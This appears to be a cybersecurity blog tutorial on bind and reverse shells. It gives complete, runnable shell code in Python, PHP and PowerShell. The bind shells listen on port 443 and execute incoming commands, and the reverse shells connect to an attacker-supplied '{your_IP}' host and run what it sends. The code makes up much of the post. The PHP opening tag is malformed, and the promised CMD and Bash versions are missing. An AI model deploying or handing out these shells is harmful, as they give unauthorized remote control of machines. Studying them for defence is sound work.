Understanding && Demystifying Bind and Reverse Shells Across Various Programming Languages

In the realm of cybersecurity, understanding how different programming languages can be utilized to create both bind and reverse shells is crucial for both defensive and offensive security strategies. This post explores simplified code snippets for creating bind and reverse shells in Python, PHP, PowerShell, CMD, and Bash, drawing parallels with the sophisticated payloads found in the Metasploit Framework.

The Basics First: Bind Shell vs. Reverse Shell

🔐Bind Shell🐚: Opens a command line interface on the target machine that listens for incoming connections, which can then be accessed by the attacker. 🔐Reverse Shell🐚: Connects from the target machine back to the attacker’s machine, where it can be controlled remotely. These concepts are implemented similarly across various programming languages, albeit with syntax and function differences. In this post, we delve into the mechanics of bind and reverse shells using various programming languages. This exploration aims to demystify the code snippets provided earlier, focusing on the libraries used, methods/functions employed, and their arguments. Understanding these elements will provide a clearer picture of how these shells operate.

🚀 Python Shell🐚

*Python’s robust standard library allows straightforward socket programming to create both bind and reverse shells. 🧰 Libraries Used

• socket: Facilitates network connections.
• subprocess: Executes shell commands.
• os: Provides a way of using operating system dependent functionality (not directly used in the snippets but often included for broader system interactions).*

*🧰Key Functions and Methods

• socket.socket(): Creates a new socket.
• bind(): Binds the socket to an address.
• listen(): Enables the server to accept connections.
• accept(): Blocks and waits for an incoming connection.
• connect(): Initiates a connection with a remote socket.
• recv(): Receives data from the socket.
• send(): Sends data through the socket.
• Popen(): Executes a command in a new process.*

*🧰 Arguments

• AF_INET: Address family for IPv4.
• SOCK_STREAM: Socket type for TCP connections.
• IP addresses and port numbers are specified as tuples.*

🕹 Bind Shell(Python) import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((‘0.0.0.0’, 443)) s.listen(1) conn, addr = s.accept()

while True: data = conn.recv(1024) if data.decode().strip() == ‘exit’: break proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = proc.stdout.read() + proc.stderr.read() conn.send(output) conn.close()

🕹 Reverse Shell(Python) import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((‘{your_IP}’, 443))

while True: data = s.recv(1024) if data.decode().strip() == ‘exit’: break proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = proc.stdout.read() + proc.stderr.read() s.send(output) s.close()

🚀 PHP Shells🐚

*PHP utilizes its socket functions to manipulate network connections directly. 🧰 Libraries Used

• Sockets module: Allows for creating sockets, binding them, and listening for connections.*

*🧰 Key Functions

• socket_create(): Creates a socket that is bound to a specific transport protocol.
• socket_bind(): Binds a name to a socket.
• socket_listen(): Listens for a connection on a socket.
• socket_accept(): Accepts a connection on a socket.
• socket_read(): Reads a length of bytes from a socket.
• socket_write(): Writes to a socket.
• shell_exec(): Execute command via shell and return complete output as a string.*

*🧰 Arguments

• AF_INET: Represents the IPv4 internet protocol.
• SOCK_STREAM: Represents a reliable, two-way, connection-based byte stream.
• Port numbers and IP addresses define where to listen or whom to connect.*

🕹 Bind Shell(PHP) <php? $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_bind($sock, “0.0.0.0”, 443); socket_listen($sock);

$client = socket_accept($sock);

while(($input = socket_read($client, 1024)) !== false) { if(trim($input) == ‘exit’) break; $output = shell_exec($input); socket_write($client, $output); } socket_close($client); socket_close($sock);

🕹 Reverse Shell(PHP) <php? $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($sock, ‘{your_IP}’, 443);

while(($input = socket_read($sock, 1024)) !== false) { if(trim($input) == ‘exit’) break; $output = shell_exec($input); socket_write($sock, $output); }socket_close($sock);

🚀 PowerShell🐚

*PowerShell uses .NET classes to establish TCP connections and execute commands. 🧰 Libraries Used

• .NET Framework’s System.Net.Sockets namespace.*

*🧰 Key Classes and Methods

• TcpListener: Listens for TCP network client connections.
• TCPClient: Provides client connections for TCP network services.
• GetStream(): Returns the NetworkStream used to send and receive data.
• StreamReader and StreamWriter: Read and write data streams.*

*🧰 Arguments

• Port numbers and IP addresses are crucial for establishing the connection points.*

🕹 Bind Shell(Powershell) $listener = [System.Net.Sockets.TcpListener]443 $listener.Start() $client = $listener.AcceptTcpClient()

$stream = $client.GetStream() $writer = new-object System.IO.StreamWriter($stream) $reader = new-object System.IO.StreamReader($stream)

while (($cmd = $reader.ReadLine()) -ne “exit”) { $output = iex $cmd 2>&1 $writer.WriteLine($output) $writer.Flush() }

$client.Close() $listener.Stop()

🕹 **Reverse Shell(**Powershell)
```powershell
$ip = “{your_IP}”
$port = 443
$client = New-Object System.Net.Sockets.TCPClient($ip, $port)
$stream = $client.GetStream()
$writer = new-object System.IO.StreamWriter($stream)
$reader = new-object System.IO.StreamReader($stream)

while (($cmd = $reader.ReadLine()) -ne “exit”) {
 $output = iex $cmd 2>&1
 $writer.WriteLine($output)
 $writer.Flush()
}
$client.Close()

CMD and Bash

Both CMD and BASH primarily use Netcat (nc), a versatile networking tool, to facilitate their respective shells.

🔐 Summary Despite the diversity in syntax and libraries, the fundamental approach to creating bind and reverse shells remains consistent across different programming environments. Each method leverages the native capabilities of its platform to execute remote commands, showcasing the versatility and dangers of shell programming in network security. This exploration not only highlights the simplicity behind these powerful techniques but also underscores the importance of understanding them to better secure or penetrate systems. Special thanks to the Metasploit Team for their invaluable resources that inspired this comparative study.

🔐 Conclusion Each language or tool has its own set of functions, methods, or commands tailored towards facilitating network communications — either inbound or outbound. The choice of function and its arguments are dictated by the need to either listen for incoming connections (bind shell) or initiate connections to a remote listener (reverse shell). Understanding these basics not only aids in recognizing how these scripts function but also in appreciating the underlying principles of network-based programming across different platforms. This knowledge is essential for anyone looking to secure systems or develop tools in the field of cybersecurity.

References: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/payload

References: https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads

Disclaimer: This information is provided for educational purposes only. Unauthorized access to computer systems is illegal and punishable by law.

If you’re curious to learn more about cybersecurity and ethical hacking, be sure to follow @Ba_zsh on Twitter for regular updates and insights.